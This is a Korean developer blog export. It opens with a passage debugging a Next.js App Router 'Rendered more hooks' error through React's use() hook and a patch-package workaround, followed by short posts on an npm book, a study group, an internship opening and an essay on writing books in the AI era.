이 에러 메시지는 리액트 컴포넌트가 이전 렌더링보다 더 많은 훅을 호출했을 때 발생한다. 이는 리액트의 rules of hook을 위반한 것으로, 훅의 호출 순서와 개수가 렌더링마다 일관되어야 한다는 규칙이다. 보통은 다음과 같은 상황에서 볼 수 있다.

```tsx
function MyComponent({shouldUseEffect}) {
  const [count, setCount] = useState(0)

  // 조건부 훅 호출
  if (shouldUseEffect) {
    useEffect(() => {
      console.log('effect')
    }, [])
  }

  return <div>{count}</div>
}
```

물론 정상적인 리액트 개발자라면 위와 같은 코드가 문제가 있다는 것을 단번에 알아차릴 수 있을 것이다. 하지만 당연하게도 저런 코드는 애초에 작성하지 않았고, nextjs 에서도 없다.

여기에 추가로 자세한 문제 해결을 위해서는 로컬 환경에서 보라는 메시지도 있는데, 문제는 이 애플리케이션이 터지는 상황은 프로덕션에서만 재현된다는 것이다. 🥺 에러 파악을 위해서는 결국 크롬 디버깅을 사용할 수밖에 없다. 앞서 에러 메시지에서 `app-router.tsx`에서 발생한다는 것을 살펴보았으니, 이 파일에 break를 걸어서 살펴보자.

![nextjs-error-3](./images/nextjs-error-3.png)

그러나 여기에서도 별다른 성과를 얻을 수는 없었다. `useMemo` 주변에 앞서 예제와 같은 조건부 훅과 같은 rules of hooks를 위반하는 내용을 찾을 수 없었고, `useMemo` 자체를 부를 때 터지는 것으로 보아 이미 rules of hooks이 위반된 시점이라는 뜻이다. 즉 `useMemo` 호출이 문제가 아니고 저 호출이 일어난 이전 상황이 문제라는 것이다.

Next.js, 리액트를 살펴보니 이미 많은 사람이 이 에러를 통해 고통받고 있었다.

- https://github.com/facebook/react/issues/33556
- https://github.com/facebook/react/issues/33580
- https://github.com/vercel/next.js/issues/63121
- https://github.com/vercel/next.js/issues/63388
- https://github.com/vercel/next.js/issues/78396
- https://github.com/vercel/next.js/issues/80483

이 문제는 이미 작년부터 보고되고 있었는데, 여전히 고쳐지지 않은 것이 가장 큰 문제고, 더 큰 문제는 프로덕션 런칭이 코앞에 다가왔다는 것이었다. 사용자와 이해관계자들에게 "아, 그거 리액트 에러예요. 못 고쳐요"라고 할 수는 없는 노릇이었다. 🤪

일단 `app-router.tsx` 코드를 다시 한 번 살펴보자.

```tsx
function Router({
  actionQueue,
  assetPrefix,
  globalError,
}: {
  actionQueue: AppRouterActionQueue
  assetPrefix: string
  globalError: [GlobalErrorComponent, React.ReactNode]
}) {
  const state = useActionQueue(actionQueue)
  const {canonicalUrl} = state
  // Add memoized pathname/query for useSearchParams and usePathname.
  const {searchParams, pathname} = useMemo(() => {
    const url = new URL(
      canonicalUrl,
      typeof window === 'undefined' ? 'http://n' : window.location.href,
    )

    return {
      // This is turned into a readonly class in `useSearchParams`
      searchParams: url.searchParams,
      pathname: hasBasePath(url.pathname)
        ? removeBasePath(url.pathname)
        : url.pathname,
    }
  }, [canonicalUrl])
  // ..
}
```

이 컴포넌트는 Next.js App router의 최상위 라우터 컴포넌트로, 글로벌 라우팅 상태를 관리하는 컴포넌트다. `useActionQueue`로 라우팅 상태를 관리하고 URL 변경, 페이지 전환 등의 라우팅 액션을 처리하며, 브라우저 네비게이션과 리액트 상태를 연결하는 핵심 컴포넌트다. 앞서 언급했듯, 문제는 `useMemo`가 아니고 이전에 있을 것이라고 추정했기 때문에, `useActionQueue`도 한 번 살펴볼 필요가 있다.

```tsx
export function useActionQueue(
  actionQueue: AppRouterActionQueue,
): AppRouterState {
  const [state, setState] = React.useState<ReducerState>(actionQueue.state)

  // Because of a known issue that requires to decode Flight streams inside the
  // render phase, we have to be a bit clever and assign the dispatch method to
  // a module-level variable upon initialization. The useState hook in this
  // module only exists to synchronize state that lives outside of React.
  // Ideally, what we'd do instead is pass the state as a prop to root.render;
  // this is conceptually how we're modeling the app router state, despite the
  // weird implementation details.
  if (process.env.NODE_ENV !== 'production') {
    const useSyncDevRenderIndicator =
      require('./react-dev-overlay/utils/dev-indicator/use-sync-dev-render-indicator')
        .useSyncDevRenderIndicator as typeof import('./react-dev-overlay/utils/dev-indicator/use-sync-dev-render-indicator').useSyncDevRenderIndicator
    // eslint-disable-next-line react-hooks/rules-of-hooks
    const syncDevRenderIndicator = useSyncDevRenderIndicator()

    dispatch = (action: ReducerActions) => {
      syncDevRenderIndicator(() => {
        actionQueue.dispatch(action, setState)
      })
    }
  } else {
    dispatch = (action: ReducerActions) =>
      actionQueue.dispatch(action, setState)
  }

  return isThenable(state) ? use(state) : state
}
```

이 훅은 앞서 Next.js app router가 관리하는 외부 상태 관리 시스템을 리액트 컴포넌트와 동기화하는 브릿지 역할을 한다. 이해하기 어려우니 조금 더 쉽게 설명해보자.

리액트 딥 다이브에서 상태 관리에 대해 다뤘던 것처럼, 외부 상태는 보통 다음과 같이 스토어 패턴으로 관리한다.

```js
// 외부 store
const store = {count: 0}

// 리액트에서 구독
function useStore() {
  const [state, setState] = useState(store.count)

  useEffect(() => {
    const unsubscribe = store.subscribe(setState)
    return unsubscribe
  }, [])

  return state
}
```

그러나 이 패턴을 그대로 쓰기에 Next.js의 상황은 조금 특별하다. 서버에서 스트리밍으로 계속해서 데이터가 들어오며, 렌더링 중에도 상태가 바뀔 수 있기에, 순차적으로 처리하는 구독 방식으로는 이 문제를 온전히 해결할 수 없다. 따라서 Next.js는 `useActionQueue`를 통해 이 문제를 해결하고 있다. 이 훅을 조금 더 쉽게 설명하면 다음과 같다.

```tsx
function useActionQueue(actionQueue) {
  // 1. 외부 상태를 리액트 상태로 복사
  const [state, setState] = useState(actionQueue.state)

  // 2. 전역 dispatch 함수 만들기
  dispatch = (action) => {
    actionQueue.dispatch(action, setState) // 외부 상태 업데이트 및 리액트 리렌더링
  }

  // 3. Promise면 풀어서 반환, 아니면 그대로 반환
  return isThenable(state) ? use(state) : state
}
```

요약하자면, Next.js는 라우터에 따른 상태관리를 리액트 외부에서 관리하고 있으며, 이 복잡한 상황을 처리하기 위해 Router라고 하는 컨텍스트 기반 중앙 라우터 상태관리 컴포넌트를 만들었으며, `useActionQueue`로 이 상태를 컴포넌트와 동기화하고 있는 것이다. 그렇다면 왜 `isThenable`, 즉 Promise인지 여부를 확인하여 `use(state)` 또는 `state`를 반환하는 것일까?

그 이유는 서버 스트리밍 때문이다. 서버 스트리밍은 상태가 비동기적으로 완성되기 때문에 다음과 같은 상황이 발생할 수도 있다.

```js
// 페이지 이동 시작할 때
state = {
  tree: newPageTree,           // ✅ 라우트 구조는 즉시 결정
  cache: Promise<CacheNode>,   // ⏳ 페이지 컴포넌트 로딩 중
  prefetchCache: new Map(),    // ✅ 기존 프리페치 데이터
  pushRef: {
    mpaNavigation: false,
    pendingPush: true
  },                           // ✅ 네비게이션 설정
  focusAndScrollRef: {...},    // ✅ 스크롤 관리 설정
  canonicalUrl: '/new-page',   // ✅ 새 URL
  nextUrl: '/new-page'         // ✅ 내부 URL
}

// 서버에서 데이터 도착 후
state = {
  tree: newPageTree,           // ✅
  cache: actualCacheNode,      // ✅ 완료! 리액트 컴포넌트 포함
  prefetchCache: new Map(),    // ✅
  pushRef: {
    mpaNavigation: false,
    pendingPush: false
  },                           // ✅ 완료 상태로 변경
  focusAndScrollRef: {...},    // ✅
  canonicalUrl: '/new-page',   // ✅
  nextUrl: '/new-page'         // ✅
}
```

여기서 핵심은 `cache` 필드인데, 이 필드가 `CacheNode` 타입으로 정의되어 있고, 두 가지 상태를 가질 수 있다.

```typescript
// ReadyCacheNode - 준비된 상태
{
  rsc: <ActualPageComponent />,     // ✅ 서버 컴포넌트 준비됨
  lazyData: null,                   // ✅ 지연 로딩 불필요
  // ... 기타 필드들
}

// LazyCacheNode - 지연 로딩 상태
{
  rsc: null,                        // ❌ 아직 없음!
  lazyData: Promise<ServerData>,    // ⏳ 서버에서 가져오는 중
  // ... 기타 필드들
}
```

따라서 페이지 이동 시 다음과 같은 시나리오들이 발생할 수 있다.

**시나리오 1: 이미 캐시된 페이지**

```javascript
state = ReadyCacheNode // 즉시 사용 가능
return state // 바로 렌더링
```

**시나리오 2: 새로운 페이지 (서버에서 가져와야 하는 경우)**

```javascript
state = LazyCacheNode // rsc: null, lazyData: Promise
return use(state) // Suspense와 함께 Promise 처리
```

**시나리오 3: 복잡한 네비게이션**

```javascript
state = Promise<AppRouterState> // 전체 상태가 Promise
return use(state) // 전체 상태가 준비될 때까지 기다림
```

이렇게 `use()` 훅을 통해 Promise 상태를 처리하면서 리액트 Suspense와 연동되어 사용자에게 매끄러운 페이지 전환 경험을 제공한다. 서버에서 데이터가 스트리밍으로 들어오는 동안 로딩 상태를 보여주고, 데이터가 준비되면 자동으로 실제 페이지를 렌더링하는 것이다.

결국 `useActionQueue`는 **서버 스트리밍 + 리액트 Suspense + 외부 상태 관리**를 모두 조화롭게 동작시키기 위한 정교한 브리지 역할을 하는 훅이라고 할 수 있다. 덕분에 개발자는 복잡한 비동기 처리를 신경 쓰지 않고도 `<Link>` 컴포넌트만 사용해서 매끄러운 페이지 전환을 구현할 수 있는 것이다.

이야기가 조금 샜지만, `useMemo` 이전에 호출되는 훅은 이 `use`이고, 이 훅이 비동기 상태를 서버 스트리밍과 상호작용하는 과정에서 버그가 있다면 애플리케이션이 터지는 문제가, 즉 Next.js가 해결하지 못한 리액트가 터져버리는 문제가 발생할 수도 있지 않을까 하는 생각이 들었다.

```diff
diff --git a/dist/client/components/use-action-queue.js b/dist/client/components/use-action-queue.js
index a8f523d120dcf407d3f589920334e7b0bd69c3cc..5faf8e5d3ad9ac733c68f18ff6cf44dba0495419 100644
--- a/dist/client/components/use-action-queue.js
+++ b/dist/client/components/use-action-queue.js
@@ -37,8 +37,27 @@ function dispatchAppRouterAction(action) {
     }
     dispatch(action);
 }
+
+function useUnwrapState(_state) {
+    const [state, setState] = _react.default.useState(_state);
+    _react.default.useEffect(() => {
+        if ((0, _isthenable.isThenable)(_state)) {
+            _state.then(setState);
+        } else {
+            setState(_state);
+        }
+    }, [_state]);
+
+    return state;
+}
+
 function useActionQueue(actionQueue) {
     const [state, setState] = _react.default.useState(actionQueue.state);
+
+    // useUnwrapState 사용
+    const unwrappedState = useUnwrapState(state);
+
+
     // Because of a known issue that requires to decode Flight streams inside the
     // render phase, we have to be a bit clever and assign the dispatch method to
     // a module-level variable upon initialization. The useState hook in this
@@ -58,7 +77,7 @@ function useActionQueue(actionQueue) {
     } else {
         dispatch = (action)=>actionQueue.dispatch(action, setState);
     }
-    return (0, _isthenable.isThenable)(state) ? (0, _react.use)(state) : state;
+    return unwrappedState;
 }

 if ((typeof exports.default === 'function' || (typeof exports.default === 'object' && exports.default !== null)) && typeof exports.default.__esModule === 'undefined') {
```

결론부터 이야기 하자면 위와 같은 조치로 문제를 수정할 수 있었다. 하지만, 문제 해결을 한다고 모든 것이 끝나는 것이 아니니, 기술적인 부분에 대해서 조금더 이야기 해보자.

먼저 `use` 훅에 대해서 살펴보자면, [use](https://ko.react.dev/reference/react/use) 훅은 `Promise`나 `Context`를 읽어서 값을 반환하는 훅이다.

```jsx
function use(promise) {
  if (promise.status === 'pending') {
    throw promise // Suspense가 이걸 잡아서 로딩 처리
  }
  if (promise.status === 'rejected') {
    throw promise.reason // 에러 바운더리가 처리
  }
  return promise.value // 완료된 값 반환
}
```

이 훅은 다음과 같이 사용할 수 있다.

```js
function UserProfile({userPromise}) {
  const user = use(userPromise) // Promise를 "읽음"
  return <div>{user.name}</div>
}

// 사용할 때
;<Suspense fallback={<Loading />}>
  <UserProfile userPromise={fetchUser()} />
</Suspense>
```

이 훅의 목적은 어쨌든 비동기인 Promise를 훅 형태로 제공하는 것이므로, 다음과 같은 `use` 대체 훅으로도 **어느 정도는 비슷하게 기능할 수 있다.**

```jsx
function useUnwrapState(promise) {
  const [data, setData] = useState(null)

  useEffect(() => {
    if (isThenable(promise)) {
      promise.then(setData)
    } else {
      setData(promise)
    }
  }, [promise])

  return data
}
```

`Promise`를 `resolve`해서 준다는 공통점은 있지만, 두 훅에는 아주 큰 차이가 존재한다. `use` 훅은 렌더링을 중단할 수 있는 능력이 있는 반면, `useUnwrapState`는 렌더링을 중단할 수 있는 능력이 없다.

```javascript
function Component() {
  const data = use(promise) // Promise가 완료될 때까지 렌더링 중단
  return <div>{data}</div> // 완료 후 바로 렌더링
}
```

```javascript
function useUnwrapState(promise) {
  const [data, setData] = useState(null)

  useEffect(() => {
    if (isThenable(promise)) {
      promise.then(setData) // Promise 완료시 상태 업데이트
    } else {
      setData(promise)
    }
  }, [promise])

  return data // 처음엔 null, 나중에 실제 데이터
}
```

핵심 차이점은 다음과 같다.

| 측면         | `use` 훅                | `useUnwrapState`      |
| ------------ | ----------------------- | --------------------- |
| **렌더링**   | 중단 후 재시작          | 계속해서 리렌더링     |
| **Suspense** | 자동으로 연동           | 수동 로딩 처리        |
| **타이밍**   | Promise 완료시 즉시     | useEffect 사이클 따름 |
| **초기값**   | Promise 완료까지 기다림 | 일단 기본값 반환      |

실제 동작을 비교해본다면 다음과 같을 것이다.

```javascript
// Promise가 2초 후 완료되는 상황

// use 훅 사용시:
function Component() {
  const data = use(slowPromise) // 2초 동안 Suspense 보여줌
  return <div>{data}</div> // 2초 후 갑자기 나타남
}

// useUnwrapState 사용시:
function Component() {
  const data = useUnwrapState(slowPromise) // 처음엔 이전 상태 보여줌
  return <div>{data || 'Loading...'}</div> // 2초 후 새 데이터로 업데이트
}
```

둘 다 **Promise를 풀어서 실제 값을 반환한다**는 목적은 같다. 하지만,

- `use`: Suspense 기반의 "중단-재시작" 방식
- `useUnwrapState`: 전통적인 "상태 업데이트" 방식

이라는 결정적인 차이가 존재한다.

아무튼, 그래서 이 `use` 훅을 `useUnwrapState`로 교체해서 문제를 해결했다. 더 이상 전역 에러는 나지 않았지만, `Suspense` 활용이 의도한 대로 동작하지 않는다는 단점은 여전히 존재한다.

그럼에도, 애플리케이션이 터지는 것보다는 이 편이 훨씬 더 자연스럽기 때문에 이 방식 그대로 수정했다.

물론 리액트나 Nextjs 에서 공식적인 답변이 없는 관계로 이 방식이 올바른 해결책인지, 또 이게 근본적인 문제의 원인이 맞는지는 알 수 없다.

## 회고

Next.js App Router는 겉보기엔 안정화된 것처럼 보이지만, 내부적으로는 실험적인 기능이 여전히 많다. 그 증거로 리액트 버전도 사용자가 무슨 버전을 설치하는지와 상관없이 canary 버전으로 덮어써 버리며, 이 말인 즉슨 내부 구현이 리액트 팀의 공식 릴리스보다 앞서 있다는 말이기도 하다. 이 말인즉슨, **리액트 팀이 아직 '지원한다고 보장하지 않는 기능들'을 Next.js가 먼저 끌어다 쓰고 있다**는 뜻이다.

![nextjs-react-canary](./images/nextjs-react-canary.png)

실제로 [이 이슈](https://github.com/vercel/next.js/issues/54553)에서 Vercel 측은 "리액트 팀에서 아직 안 푼 걸 우리가 먼저 써야 해서 그렇다"고 설명한다. 즉, 아직 공식 릴리즈에 넣지 않은 기능이 있다고 하더라도, Next.js는 그걸 기반으로 새로운 아키텍처를 구성하고 있다는 것이다. 공식 문서에선 아무리 "안정화되었다"고 표현해도, 실제로 겪는 에러는 내부 구현이 실험적이라는 걸 그대로 보여준다. Next.js 와 리액트의 이러한 기묘한 동거 관계에 대한 내용은 [이 글](https://blog.isquaredsoftware.com/2025/06/react-community-2025/) 에서 자세히 확인해 볼 수 있다.

실제로 프로덕션에서 App Router를 써보면, 아주 정교하게 짜여진 프레임워크이기 때문에 디버깅이 꽤 어렵다. 단순히 리액트의 동작만 알아서는 디버깅 하는게 쉽지 않다. "Next.js 내부 상태가 왜 이 타이밍에 이렇게 바뀌었는지", "서버에서 받아온 stream이 왜 cache로 들어오지 않는지", "왜 Suspense가 잡아주지 못하는지" 같은 질문에 답하려면 리액트 서버 컴포넌트와 Next.js 내부 구조를 동시에 파악해야 한다.

물론 App Router, 리액트, Nextjs 가 지향하는 방향에는 동의한다. 서버 컴포넌트, 스트리밍, RSC 기반 트리 아키텍처 등은 앞으로 웹의 중요한 기반이 될 수도 있다. 하지만 지금 상태는 솔직히, **사용자가 버그 리포트 테스트 드라이버가 되는 느낌**이다. 이 외에도 여러 이슈를 제보했지만, 딱히 답변은 없었고, 여전히 메이저 버전 올리기에 바빠 보인다. 물론 내부적으로 버그 패치를 위해 열심히 노력중이시겠지만, 공식 배포용으로 쓰기에는 아직 너무 많은 부분이 열려 있다.

## 근본 원인 분석

이 문제에 대해 여러 GitHub 이슈와 PR을 살펴본 결과, 근본적인 원인을 파악할 수 있었다.

- [React #33556](https://github.com/facebook/react/issues/33556) - use 훅의 조건부 호출 문제 보고
- [React #33580](https://github.com/facebook/react/issues/33580) - 발생 조건 상세 분석
- [React PR #34068](https://github.com/facebook/react/pull/34068) - 수정 시도 (미머지)
- [Next.js #63388](https://github.com/vercel/next.js/issues/63388) - loading.tsx 관련 워크어라운드 발견

### HooksDispatcher 전환 버그

[PR #34068](https://github.com/facebook/react/pull/34068)에서 밝혀진 핵심 원인은 다음과 같다:

> `useThenable`이 `ReactSharedInternals.H`를 `HooksDispatcherOnMount`로 업데이트하면서 이후 훅들이 "이전 훅"으로 잘못 처리됨

무슨 말인지 이해하기 어려우니 조금 더 풀어서 설명해보자.

React는 훅 호출을 처리하기 위해 내부적으로 **HooksDispatcher**라는 객체를 사용한다. 이 객체는 컴포넌트의 렌더링 단계에 따라 다른 버전이 사용된다.

```javascript
// React 내부 (단순화)
ReactSharedInternals.H = {
  useState: mountState, // 마운트 시 → 훅 초기화
  useEffect: mountEffect,
  useMemo: mountMemo,
  // ...
}

// 또는

ReactSharedInternals.H = {
  useState: updateState, // 업데이트 시 → 기존 훅 상태 재사용
  useEffect: updateEffect,
  useMemo: updateMemo,
  // ...
}
```

- **마운트(Mount)**: 컴포넌트가 처음 렌더링될 때. 훅들이 초기화된다.
- **업데이트(Update)**: 컴포넌트가 리렌더링될 때. 기존 훅 상태를 재사용한다.

문제는 `use()` 훅 내부에서 호출되는 `useThenable` 함수가 **디스패처를 강제로 Mount 버전으로 전환**한다는 것이다.

```javascript
function useThenable(thenable) {
  // Promise 처리 로직...

  // 💥 문제의 코드: 디스패처를 Mount 버전으로 강제 변경!
  ReactSharedInternals.H = HooksDispatcherOnMount
}
```

이렇게 되면 다음과 같은 상황이 발생한다:

```javascript
// 정상적인 "업데이트" 렌더링이라고 가정
function Router() {
  // 1. useState 호출
  //    → HooksDispatcherOnUpdate.useState 사용
  //    → 기존 상태 재사용 ✅
  const [state, setState] = useState(actionQueue.state);

  // 2. use() 호출 (state가 Promise인 경우)
  //    → 내부에서 useThenable 호출
  //    → 💥 ReactSharedInternals.H = HooksDispatcherOnMount로 변경!
  const unwrapped = use(state);

  // 3. useMemo 호출
  //    → HooksDispatcherOnMount.useMemo 사용 (Mount 버전!)
  //    → React: "어? 새로운 훅이 추가됐네?" 🚨
  //    → 에러 발생!
  const memoized = useMemo(...);
}
```

React는 `useMemo`가 호출될 때 Mount 버전 디스패처를 보고 "이전 렌더링에는 없던 새로운 훅이 추가되었다"고 판단한다. 하지만 실제로는 `useMemo`가 이전 렌더링에도 있었다. 단지 디스패처가 잘못 전환되었을 뿐이다.

이것이 "Rendered more hooks than during the previous render" 에러의 실제 원인이다.

### 발생 조건

[React #33580](https://github.com/facebook/react/issues/33580)에서 정리된 발생 조건은 다음과 같다. **모든 조건이 동시에 충족되어야 버그가 발생**한다:

1. `hydrateRoot`를 사용한 앱 수화 (Next.js App Router가 이에 해당)
2. 에러 바운더리와 Suspense로 감싼 서브트리에서 렌더링 중 에러 발생
3. 다음을 수행하는 이펙트:
   - 연쇄 업데이트 유발
   - 즉시 `startTransition` 실행
   - 상위 컴포넌트 상태를 **새로 생성된 Promise**로 업데이트
   - 부모에서 `use`로 조건부 읽기 (Promise일 때만)
4. `use` 호출 후 다른 훅이 1개 이상 존재

**하나라도 제거하면 에러가 사라진다.** 그래서 `loading.tsx` 제거(조건 2 제거)나 `use` 훅 패치(조건 3, 4 제거)가 해결책이 되는 것이다.

### Race Condition

[Next.js #63388](https://github.com/vercel/next.js/issues/63388)에서 확인된 또 다른 특징은 **데이터 로딩 속도에 따라 발생 여부가 달라진다**는 것이다:

```text
빠른 데이터 로딩 (50ms)  → 버그 발생 빈도 높음
느린 데이터 로딩 (500ms) → 버그 발생 빈도 낮음
```

이건 전형적인 race condition이다. 서버 데이터가 빠르게 도착하면 `state`가 `일반 객체 → Promise → 일반 객체`로 빠르게 전환되면서, 디스패처 전환 타이밍이 꼬이게 된다.

### 왜 해결책들이 동작하는가

이제 앞서 제시한 해결책들이 왜 동작하는지 명확해진다.

**1. `loading.tsx` 제거**

```jsx
// loading.tsx가 있으면
<Suspense fallback={<Loading />}>  ← 이 Suspense가 발생 조건 2를 충족
  <PageComponent />
</Suspense>

// loading.tsx가 없으면
<PageComponent />  ← Suspense 경계 제거 → 발생 조건 2 미충족 → 버그 우회
```

**2. `useUnwrapState` 패치**

```javascript
// 기존: use() 호출 → useThenable 호출 → 디스패처 전환 💥
return isThenable(state) ? use(state) : state

// 패치 후: use() 호출 자체를 제거 → useThenable 호출 안 함 → 디스패처 전환 없음 ✅
return useUnwrapState(state)
```

`use()` 훅을 사용하지 않으면 `useThenable`이 호출되지 않고, 따라서 디스패처가 잘못 전환되는 일도 없다.

### 공식 수정 상태

[PR #34068](https://github.com/facebook/react/pull/34068)에서 다음과 같은 해결책이 제안되었다:

```javascript
// 새로운 전역 플래그 추가
let hasDispatcherSwitchedDueToUse = false

function useThenable(thenable) {
  // ...
  hasDispatcherSwitchedDueToUse = true // 플래그 설정
  ReactSharedInternals.H = HooksDispatcherOnMount
}

// 이후 훅 호출 시
function checkHooksOrder() {
  if (hasDispatcherSwitchedDueToUse) {
    // use()로 인한 디스패처 전환이었으므로
    // 훅 개수 불일치를 에러로 처리하지 않음
  }
}
```

하지만 이 PR은 2025년 11월에 장기 비활성으로 자동 종료되었다. 즉, **아직 공식적으로 수정되지 않았다.**

### 두 해결책의 비교

| 방법                 | 장점                 | 단점                    |
| -------------------- | -------------------- | ----------------------- |
| **loading.tsx 제거** | 간단하고 확실한 해결 | 로딩 UX 완전히 포기     |
| **use 훅 패치**      | 로딩 UX 유지 가능    | Suspense 기능 일부 제한 |

`loading.tsx` 제거는 **문제 상황 자체를 회피하는 방법**이라고 볼 수 있다. 근본적인 해결책은 아니지만, 발생 조건 중 하나를 제거하여 버그를 우회할 수 있다.

개인적으로는 UX를 포기하는 것보다는 `useUnwrapState` 패치가 더 나은 접근법이라고 생각한다. Suspense 메커니즘을 우회하면서도 `loading.tsx`의 UX 이점은 유지할 수 있기 때문이다.

---

Source: https://yceffort.kr/2025/06/npm-deep-dive-study.md
Title: 『npm Deep Dive』 스터디원 모집중입니다!
Description: 홍보성 글은 여기까지... 다시 공부하는 블로그로 찾아오겠습니다.
Date: 2025-06-09
Tags: javascript, nodejs

![npm-deep-dive](./images/npm-deep-dive-read.png)

- 모집 공지글 : https://cafe.naver.com/wikibookstudy/2404
- 질문 게시판 : https://cafe.naver.com/wikibookstudy/menu/137
- 인증 게시판 : https://cafe.naver.com/wikibookstudy/menu/135

모집은 6월 22일까지!

질문 남겨주시면 직접 저자가 답변 도와드립니다. 많은 관심 부탁드립니다! 🙇🏻‍♂️

---

Source: https://yceffort.kr/2025/06/naver-pay-fe-summer-internship.md
Title: [네이버페이] 채용 연계형 FE 개발 인턴십
Description: 많관부
Date: 2025-06-07
Tags: career

[![채용](https://imgorg.catch.co.kr/job-test/recruit/attach/JV2017/image/1749003076655_dbtmqsmrw.jpg)](https://recruit.naverfincorp.com/rcrt/view.do?annoId=30003471&sw=&subJobCdArr=&sysCompanyCdArr=&empTypeCdArr=&entTypeCdArr=&workAreaCdArr=)

[채용 페이지 바로가기](https://recruit.naverfincorp.com/rcrt/view.do?annoId=30003471&sw=&subJobCdArr=&sysCompanyCdArr=&empTypeCdArr=&entTypeCdArr=&workAreaCdArr=)

> 혹시 궁금하신 내용이 있으시면 root@yceffort.kr 로 메일 주세요!

---

Source: https://yceffort.kr/2025/05/why-i-wrote-a-book-in-the-age-of-ai.md
Title: AI 시대에 나는 왜 책을 썼을까
Description: 🤔
Date: 2025-05-30
Tags: essay, frontend, career, react

첫 책인 『모던 리액트 Deep Dive』를 쓸 당시, 내가 쓴 글이 누군가에게 도움이 된다는 사실만으로도 충분히 기뻤다. 책을 쓰는 과정은 내게도 큰 배움이었고, 출간 이후 받은 피드백은 개발자로서 방향을 다시 다잡는 계기가 되었다.

하지만 한 가지는 분명했다. 리액트와 Next.js처럼 빠르게 변화하는 기술을 책 한 권에 담는 일은 어렵다는 것. 출간 후 얼마 지나지 않아 일부 내용이 구식이 되는 걸 보며, 책이라는 형식이 변화의 속도를 따라가기 쉽지 않다는 걸 실감했다. 그래서 다음 책은 다른 방향으로 접근하고 싶었다.

이번에는 트렌디한 기술이 아닌, 프런트엔드 생태계의 본질과 구조를 정리하고자 했다. npm, node_modules, 모듈 시스템, 트랜스파일링, 번들러… 처음엔 배경처럼 여겼던 것들이지만, 프로젝트가 커지고 팀이 커질수록 오히려 이 "배경"이 개발자의 실력을 좌우하고, 문제의 본질을 꿰뚫고 있다는 것을 체감했다.

`npm install` 한 줄로는 설명되지 않는 일들. 의존성이 꼬이고, 빌드가 깨지고, 배포에서 문제가 터졌을 때, 공식 문서와 검색만으로는 해결되지 않는 문제들. 그 모든 근본 원인을 이해하고, 직접 해결해보며 문서 너머의 구조와 원리를 파악해나갔다. 이 책은 그 과정을 정리한 기록이다.

책을 쓰면서, 그리고 쓴다는 이야기를 했을 때, 나를 포함한 많은 이들이 같은 질문을 던졌다. "AI가 모든 걸 알려주는 시대에, 책이 정말 필요할까요? 특히 개발서적은 더더욱이요. 점점 더 개발서적은 설 자리를 잃어가는 것 아닐까요?"

당연히 요즘 시대에 할 수 있는 질문이다. AI는 질문만 하면 답을 준다. 블로그 글, 공식 문서, 예제 코드까지 요약해서 알려준다. 정보의 '단편'을 얻는 데 있어 책보다 빠르고 편리하다. 개발서를 처음부터 끝까지 읽는 사람도 점점 줄어들고 있다.

하지만 나는 오히려 그 속에서 책의 역할이 더 선명해졌다고 느낀다. 단편적인 정보는 넘쳐나지만, 그 정보들을 어떻게 연결하고 해석하며 판단할지는 여전히 사람이 해야 한다. 전체 구조 속에서 개념이 어떻게 얽혀 있는지, 왜 그런 설계가 되었는지, 문제를 해결하는 사고의 흐름이 어떤 경로를 거치는지를 알려주는 데에는 책만큼 효과적인 수단이 아직 없다.

개발서적은 더 이상 '공식 문서를 대신하는 설명서'가 아니다. 이제는 생각하는 방법을 전하고, 도구를 넘어 시스템을 이해하게 만드는 설계도여야 한다. AI가 코드를 짜줄 수는 있어도, 왜 그렇게 짜야 하는지, 지금 이 문제를 어떻게 바라봐야 하는지는 여전히 사람이 설명해야 한다. 그런 설명을 가장 깊이 있게 전할 수 있는 형식이 나는 아직도 책이라고 믿는다.

나에게 책을 쓰는 일은 단순한 설명이 아니라, 혼란을 겪고, 정리하고, 나만의 언어로 구조화하는 사고의 도전이었다. 이 과정은 AI로는 얻을 수 없는 깊이와 통찰을 나에게 안겨줬다.

그리고 이 여정은 혼자서는 불가능했다. 훌륭한 동료가 곁에서 끊임없이 질문을 던지고 다른 관점을 제시해주었기에, 나는 미처 닿지 못했을 지점까지 사고를 밀어붙일 수 있었다.

그렇다면, AI 시대에도 책을 읽어야 할까?

지금은 정보를 빠르게 찾는 시대다. 하지만 빠르게 찾는 것이 곧 깊이 이해하는 것은 아니다. 책은 단편적인 질문이 아니라, 전체 그림을 전달한다. 책 한 권을 따라가며 쌓는 경험은 단순한 정보 습득이 아니라 사고 체계와 시야를 확장하는 경험이다. 단순히 프레임워크를 어떻게 쓰는지가 아니라, 왜 그렇게 설계되었고 어떤 철학이 담겨 있는지까지 이해하게 만든다. 검색으로는 찾을 수 없는 연결고리, 시행착오의 기록, 그리고 저자만의 해석이 독자의 사고방식을 바꾸는 이유다. 그렇기에 여전히 세계의 많은 석학들이 책을 쓰고, 책을 읽는다.

그래서 나 역시 지금도 가능한 많은 책을 읽으려 노력한다. 좋은 책은 언제나 나보다 먼저 고민하고 시행착오를 겪은 사람들과 대화하는 가장 밀도 높은 수단이기 때문이다.

이 책은 내가 10년 동안 프런트엔드를 하며 외면했고, 몰랐고, 결국엔 마주하게 된 본질들에 대한 기록이다. 그리고 나처럼 어딘가에서 헤매고 있을 누군가에게 작게나마 방향을 제시할 수 있기를 바란다.

아직도 부족한 점은 많지만, AI 시대에도 책은 여전히 의미 있다고 믿는다. 정보를 찾는 데서 그치는 것이 아니라, 결국 AI 시대를 주도적으로 살아갈 생각하는 힘을 기르고 시야를 넓히는 가장 강력한 도구는 여전히 책이라고 생각한다.

---

Source: https://yceffort.kr/2025/05/npm-deep-dive-is-out-now.md
Title: 『npm Deep Dive』 가 출간되었습니다.
Description: 🙇🏻‍♂️
Date: 2025-05-28
Tags: javascript, nodejs

![npm-deep-dive](https://wikibook.co.kr/images/cover/l/9791158396077.jpg)

## npm을 언제 처음 진지하게 이해하려 했나요?

프런트엔드 개발자로 커리어를 시작했을 때, 저는 `npm`과 `node_modules`를 단지 라이브러리를 설치하는 도구 정도로만 여겼습니다. `package.json`을 작성하고, `.gitignore`에 `node_modules`를 추가하는 일상적인 작업 외에는 크게 고민해 본 적이 없었습니다. 당시의 관심사는 리액트, 자바스크립트, 그리고 웹 UI였고, 생태계 자체에 대한 깊은 이해는 우선순위가 아니었습니다.

그런데 시간이 지나면서 상황은 바뀌었습니다. 프로젝트의 규모가 커지고, 다양한 개발자들과 협업하고, 복잡한 요구사항을 맞닥뜨리면서 단순히 검색과 문서만으로는 해결되지 않는 문제들이 생겨났습니다. 결국 저는 피하고만 있던 `npm`의 내부 구조와 자바스크립트 모듈 시스템을 제대로 이해해야 할 필요성을 절실히 느꼈습니다.

